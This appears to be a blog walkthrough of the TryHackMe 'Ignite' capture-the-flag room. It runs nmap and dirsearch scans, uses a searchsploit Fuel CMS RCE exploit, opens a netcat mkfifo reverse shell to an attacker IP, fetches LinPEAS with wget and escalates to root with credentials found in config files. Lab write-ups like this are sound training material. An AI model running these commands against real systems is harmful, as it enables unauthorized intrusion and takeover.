Posts Ignite
Post
Cancel

Ignite

Description

A new start-up has a few issues with their web server..

RoomIgnite
OSLinux
DifficultyEasy
CreatorDarkStar7471

We’ll start with nmap scan,

1
sudo nmap -A -sV <ip> -oN nmap_scan

image

let’s visit http://machineIP,

image

look at this!! This is a page of fuel cms. Let’s brute force it’s directories,

1
./dirsearch.py -u http://<machineIP> -e txt,php -i 200,301

image

we got some directories. After visiting each one of them, /robots.txt stands as one we’re looking for,

navigate to /robots.txt,

image

we got /fuel directory, let’s visit it,

after visiting /fuel path, i got this,

image

seems like we have to login into this. Since we don’t have any credentials we can’t login into this so we need a way around it.

Note: Later I found out that we are given the default credentials i.e admin: admin but we actually don’t need them ;-)

But let’s search for exploit fuel cms (known vulnerability) either on searchsploit or google, I prefer searchsploit,

1
searchsploit fuel cms

image

we got RCE vulnerability. I download this exploit using this command,

1
searchsploit -m linux/webapps/47138.py

image

so we’ve downloaded exploit on same directory.

the exploit code looks like this,

image

to use this exploit, we’ve to change 2 things, first IP address of remote machine and port to 80 and then remove proxies=proxy because we don’t want burp to intercept our process.

and then we’ll run this exploit using python2,

image

we got unstable web-shell.

Let’s see where we’re or in which directory we’re in,

image

seems like we’re in /var/www/html.

From here, we will use netcat reverse shell to get a rev connection to get a normal shell,

run this command on web-shell we got and start the netcat listener via nc -nvlp 4444,

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.8.80 4444 >/tmp/f

image

after running this command, we’ll instantly get a reverse connection on our netcat,

image

we got user flag.

Privilege Escalation: After enumerating everything, I got nothing specific. So I tried to run linPEAS to automate the enumeration and check if can found anything specific. So i transfer LinPEAS.sh file on remote system by starting python server,

navigate to /tmp folder and then there type wget http://<tun0IP:8000>/linPEAS and then make this script executable and run it,

image

after sometime, I encountered that there are credentials for root user in PHP config files,

image

so I tried to use them using,

1
su root

image

and then I got system access. Now, go hunt for root flag. :)

This post is licensed under CC BY 4.0 by the author.